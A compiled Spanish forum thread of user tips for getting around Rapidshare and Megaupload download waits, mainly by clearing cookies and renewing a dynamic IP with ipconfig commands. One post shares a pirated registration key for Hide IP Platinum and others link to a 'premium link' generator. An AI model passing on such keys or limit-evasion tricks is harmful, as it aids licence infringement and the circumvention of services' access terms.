Nota 2: Reiniciar el Internet Explorer es cerrar todas las ventanas abiertas y de nuevo abrir una nueva.

Importante

Es importante que sepan que primero deben de escribir el link de Megaupload en el navegador Internet Explorer ya que si usan cualquier otro navegador Megaupload les seguira reestringiendo las descargas. Si quieren descargar de megaupload pero usando el gestor de opera o firefox, escriban el link del archivo que quieran descargan de megaupload con Internet Explorer, cuando haya terminado el tiempo de espera y vean la palabra "Download" denle clic derecho y copien el enlace de la descarga peguenlo en el navegador opera o Firefox y listo megaupload les enviará el archivo anhelado.

6).

Este manual les solucionara el problema de cupos para el megaupload:

1. En la barra de direcciones poner "about:config"



2. Donde dice filtro pongan:

"general.useragent.extra.firefox" (sin comillas)



3.



7).

Manual Pa Bajar Por El Megaupload + Programa Idman (vean Aca De Lujo)

IDMAN :

http://www.uploading.com/?get=2T0TINRM

MANUAL COMO BAJAR:
PINCHEN ESTA EN SECUENCIA DE IMAGENES ESTA RBUENO....

1
http://suprfile.com/get.php?id=rhmeia

2
http://suprfile.com/get.php?id=rhor48

3
http://suprfile.com/get.php?id=rhpv7f

4
http://suprfile.com/get.php?id=rhqzp1

5
http://suprfile.com/get.php?id=rhsxng

6
http://suprfile.com/get.php?id=rhw863

7
http://suprfile.com/get.php?id=rhtr8x


IAP ACA ESTA EL MANUAL EXO POR MI ES LO Q AI NU MAS....


TRUCOS PARA RAPIDSHARE:

1).

Si le ha pasado que tienen que esperar el latoso tiempo de 1 hora para poder seguir descargando del rapidshare (y otros similares), y tienes una conexión adsl, la solución es simple:

1- revisa que ip tienes
2.- desechufa el modem adsl
3.- borra los temporales y la cookies de internet
4- enchefa el modem adsl
5.- revisa que la ip que te da sea distinta a la tenias en un principio

y

Listo a descargar nuevamente...

2).

Talvez ya esten cansados de meterle trucos a el RapidSared y el megalup, pero que mas se puede hacer, hasta que alguien realize un verdadero hack sobre ellos, pero para seguir con la linea de trucos, he realizado uno que de alguna forma casi nadie (digo casi nadie, porque puede ser que si), lo a planteado de esa forma. si mas preambulo

1. consigue el programa Hide IP Platinum www.hide-ip-soft.com
2. si te pide registro le metes este 2080487B8820DD9A (solo funciona con version 2.32 y dos mas)
esto es cuando lo estes instalando shocked
3. lo instalas (Obio) bravo
4. buscas cualquier cosa que quieras bajar por el Rapidshared, y haces lo mismo que siempre seleccionas FREE bailar
5. esperas que te de tu ticket para los numeritos que te pide antes de bajar un archivo chulo
6. cuando la conexion este realizada (cuando empieze a bajar tu archivo), cierra todas las ventanas que sean de RapidSared muro
7. buscas otro archivo que quieras bajar pero antes de presionar FREE (suponiendo que esta corriendo el hide ip)
pones CRT + Q esto cambiara el proxy de tu maquina. y ya ta te pedira que esperes a un nuevo ticket

Si no funciona, y esto es la base de todo debes regresar a la pagina anterior (donde te pedia que escojieras si FREE o PREMIUM)
de ahi vuelves a poner CRT + Q para que te de otro proxy, esto lo haras asta que te de un nuevo ticket, la media de que te de un nuevo ticket teniendo una descarga activa es de un 50%, asi que es medianamente recomendado. pero mejor que nada o estar apagando el modem o otra cosa.

ten presente que el cambio de proxy puede tardar un poquito asi que espera que salga un burbuja de aviso de el nuevo proxy, si tienes alguna duda de configuracion del hide ip, dimela, aunque solo es de seguir las instrucciones afro bien ya me voy a serguir con el hack (claro que aun soy un novato pero me fortalecere).

3).

navegando por ahi, encontre esto...a mi me funciona perfectamente espero les sirva...
ahi va el link...::::http://rapidshare.de/files/26997492/...E_DESCARGA.rar

4).

Hola a todos!!!

Este es mi primer mensaje y para celebrarlo que mejor que prestar una ayudita a todos los que usan RAPIDSHARE(lo adoro, porque puedo bajar cosas a gran velocidad no como otros que van a pasos de tortuca,jejejeee).Los pasos a seguir son los siguientes:

--Ir a Inicio-->Conectar a -->Conexion ADSL y pulsais sobre el boton desconectar.NO TENEIS QUE APAGAR EL ROUTER!!!

--Ir a Inicio-->Ejecutar y tecleais en la ventanita lo siguiente: ipconfig /flushdns y pulsais aceptar.

--Y por último, Ir a Inicio-->Conectar a --->Conexión ADSL y pulsais sobre el boton conectar.

Esto lo tendreis que hacer cada vez que el sistema de RAPIDSHARE os comunique que teneis que esperar una hora para poder realizar una nueva descarga.

Por cierto,sólo funciona con IP DINÁMICA.Si teneis algún problema me lo comunicais.

5).

a mi me funciono a la perfeccion, bailar bailar bailar, espero q a ustedes tambien y si les gusto espero q me dean unos aplausitos

primero que nada se que esta wea no va aca ¡¡¡¡¡¡
pero encontré necesario postearlo porque está directamente
relacionado con este foro la mayoria de los aportes estan en rapidshare y
la wea de estar esperando 1 hora para bajar el sgte archivo seguramente los
tiene chato.
Como muchos ya saben el rapidshare bloquea la bajada de archivo luego de
haber descargado un cierta cantidad de mb, esto lo hace bloqueando tu IP
pues bien, este comando lo que hace es cambiar tu IP para que vuelvas a
descargar cualquier archivo


Lo primero que debes saber es que es solo para conexiones adls ¡¡¡¡¡

Deben abrir un archivo en blanco en el bloc de notas, luego copiar y pegar
la sgte instruccion tal cual como aparece:

pconfig /flushdns
ipconfig /release
ipconfig /renew exit



al archivo deben nombrarlo como cambiarip.bat y guardarlo en el escritorio
para que lo tengan a la mano

entonces hacemos lo sgte:
cuando te aparece la pantalla del rapidshare que indica que no puedes
descargar archivos despues de 1 hora haces esto:

- sale de la ventana del rapidshare
- luego borra las cokies de este sitio
- desconectate de internet
- haz doble click en el archivo cambiarip.bat para que se ejecute
automaticamente les saldrá una pantalla en DOS que muestra como se ejecuta
el cambio de ip luego se cierra automaticamente
- conectate a internet nuevamente y listo ¡¡¡¡ ya puedes bajar el
archivo deseado

Este procedimiento lo puedes hacer cuantas veces quieras, a medida
que te familiarices con el cuento no debes demorar mas de 30 segundos


Importante ¡¡¡¡¡¡¡¡¡

- Solo sirve para Ipdinamicas,es decir, Terra,telefonica etc
- Tengo entendido que vtr tiene ipfija los tres primero meses luego pasa a dinamica, averiguen con su proveedor
cual es la de uds.

- Atencion¡¡¡¡ por ningun motivo ocupar este procemiento en conexiones
via LAN queda la cagá, esta conexion gralmente se ocupa en la empresas averiguen con el depto de compu que tipo de ip tienen
-Recuerden que es solo para conexiones adls

- Funciona en un 100% yo la ocupo todos los dias si no te funciona es xq no cumples con los requisitos o efectuaste mal el procedimiento


-No tengo antecedentes de win98,2000 yo ocupo winxp Home edition

-sorry por el testamento pero hay que pensar en los
lokos que no comprenden ni en donde estan parados

6).

ACA TIENEN EL MANUAL PARA DESCARGAR SIMULTANEAMENTE:

http://rapidshare.de/files/27554918/...refox.pdf.html


7).

Se acabó la espera de una hora...

http://www.jeck.ru/rapidshare/

Introducir los enlaces free y les devolverá los enlaces premium.

---OJO---
Pegamos el link dentro del recuadro que hay y le damos al botón de generar link, nos dara error, pero le volvemos a dar al botón dos o tres veces seguidas y nos dara el enlace en el mismo sitio que nos ponia error.


8.

A ver, primero he visto un monton de programas y soluciones magicas que al final no sirven de nada, no instalen porquerias que al final si no es un virus o un spyware, ensucian el registro. Como lo hacen estos compadres para pillarte? simple, tu ip y una cookie o alguna porqueria por el estilo, la solucion es facil, te desconectas de internet, borras toda la mugre que te dejan en el explorador ( con el que descargaste de rapidshare, no vayan a navegar con opera para despues borrarle el historial al explorer, los cachan igual) y le cambias tu ip, como? muy simple, abres un notepad y le escribes tal cual esto:

ipconfig /flushdns
ipconfig /release
ipconfig /renew exit

y lo guardas como cambiarip.bat cambiamelaip.bat p__oenelojoarapidshare.bat o como quieran, pero que termine en .bat y de ahi lo dejan en el escritorio para que sea mas facil, lo ejecutas, salen unas pantallitas y listo, se cambio tu ip (son como 2 segundos) te vuelves a conectar y listo.
Solo sirve en ADSL, si alguien sabe mas que lo postee aca para ayudar a la comunidad.

Cabros, voy a hacer una lista de los ISP que te dejan hacer esto y los que no te dejan.


TE DEJAN
- SPEEDY

NO TE DEJAN

-VTR

9).

No puedo creer que la mayoria de ustedes aun no sepa como eliminar este conteo...es muy facil,ahi les va en truco:

1-Empieza a descargar el Juego/Programa/Pelicula que hayas elegido.
2-Cuando se haya terminado de descargar,desconecta Internet.
3-Cuando ya este desconectado,ve a "C:\Documents and Settings\(aqui aparecera el nombre de tu PC)\Cookies".
4-Elimina todas las Cookies de la carpeta...no temas,no hay documentos importantes en esa carpeta,lo eh comprobado yo.
5-Conectate a Internet y baja el archivo que querias,veras que el conteo se elimino.


10).

Se puede burlar al rapidshare de manera muy sencilla si tienes windows xp, cambiando la IP por supuesto pero no necesitamos todos aquellos problematicos programas para hacerlo, ademas que tienes que ver que la IP si funcione, con este metodo se hace una IP diferente cada vez y una que si funciona sin lugar a dudas, la forma es asi:

1.- Lo primero que hay que hacer es revisar que cuando te conectes te cree las ip automaticamente, para eso hay que hacer lo siguiente:

1.1.- Vas a inicio, panel de control, conexiones de red o internet, luego en conexiones de red.
1.2.- Abres conexión de área local, luego le das en propiedades.
1.3.- Selecciona "Protocolo Internet (TCP/IP), y da click en propiedades.
1.4.- En la pestaña general seleccionamos "Obtener una dirección IP automáticamente" y "Obtener la dirección de un servidor DNS automáticamente".
nota del paso 1.1 al 1.4, solo lo tienes que hacer una sola vez, ya que queda guardado no lo tienes que volver a poner wink

2.- Ahora solo hay que cambiar la IP.

2.1.- Para que funcione, siempre tenemos que cerrar sesión con windows y volverla a abrir, de lo contrario no siempre funcionara.
2.2.- Hay que eliminar las cookies de firefox o de internet explorer.
2.3.- Nos vamos a ejecutar y ponemos "cmd" y enter, y nos saldra algo asi como el MS-DOS.
2.4.- En esta ventana ponemos "ipconfig/flushdns" y enter, y saldrá un mensaje de que se hizo con éxito.
2.5.- En esta misma ventana ponemos ahora "ipconfig/release" y enter, talvez solo salga informacion sobre la IP, entonces tendremos que repetir otra vez este paso para que salga que se logor hacer con éxito.
2.6.- Finalmente en esta ventana ponemos "ipconfig/renew", tardara unos minutos talvez, y al final saldrá un "error" de que no se pudo renovar, pero en realidad si funciona.

Cada vez que se quiera cambiar la IP hay que repetir todos los pasos del número 2, es muy importante que cada vez que se vaya a hacer cierres y vuelvas a abrir la sesión con windows, haciendo esto cada vez podemos entrar en "free" en rapidshare, sin tener que esperar una hora, si funciona el metodo, ya lo comprobe. Asi que ha bajar se a dicho.

PD:Guia echa por SuperJames204

11).

Bueno estimados no se si estara posteado pero cumplo con avisarles a todos aquellos que tienen internet con ip dinamica:

Rapidshare te bloquea la ip por 60 minutos cuando bajas algun archivo y tienes que esperar para poder bajar el siguiente pues eso ya no va a ocurrir:

1.- lo primero despues de bajar un archivo de rapidshare desconectate de internet

2.- vuelve a iniciar la conexión a internet (por lo general, terra, tie, etcetera tienen ip's dinamicas lo cual significa que cada vez que te desconectas y te vuelves a conectar obtienes una nueva ip)

3.- intenta bajar otro archivo de rapidshare y listo la descarga empezara sin tener que esperar mas de 40 segundos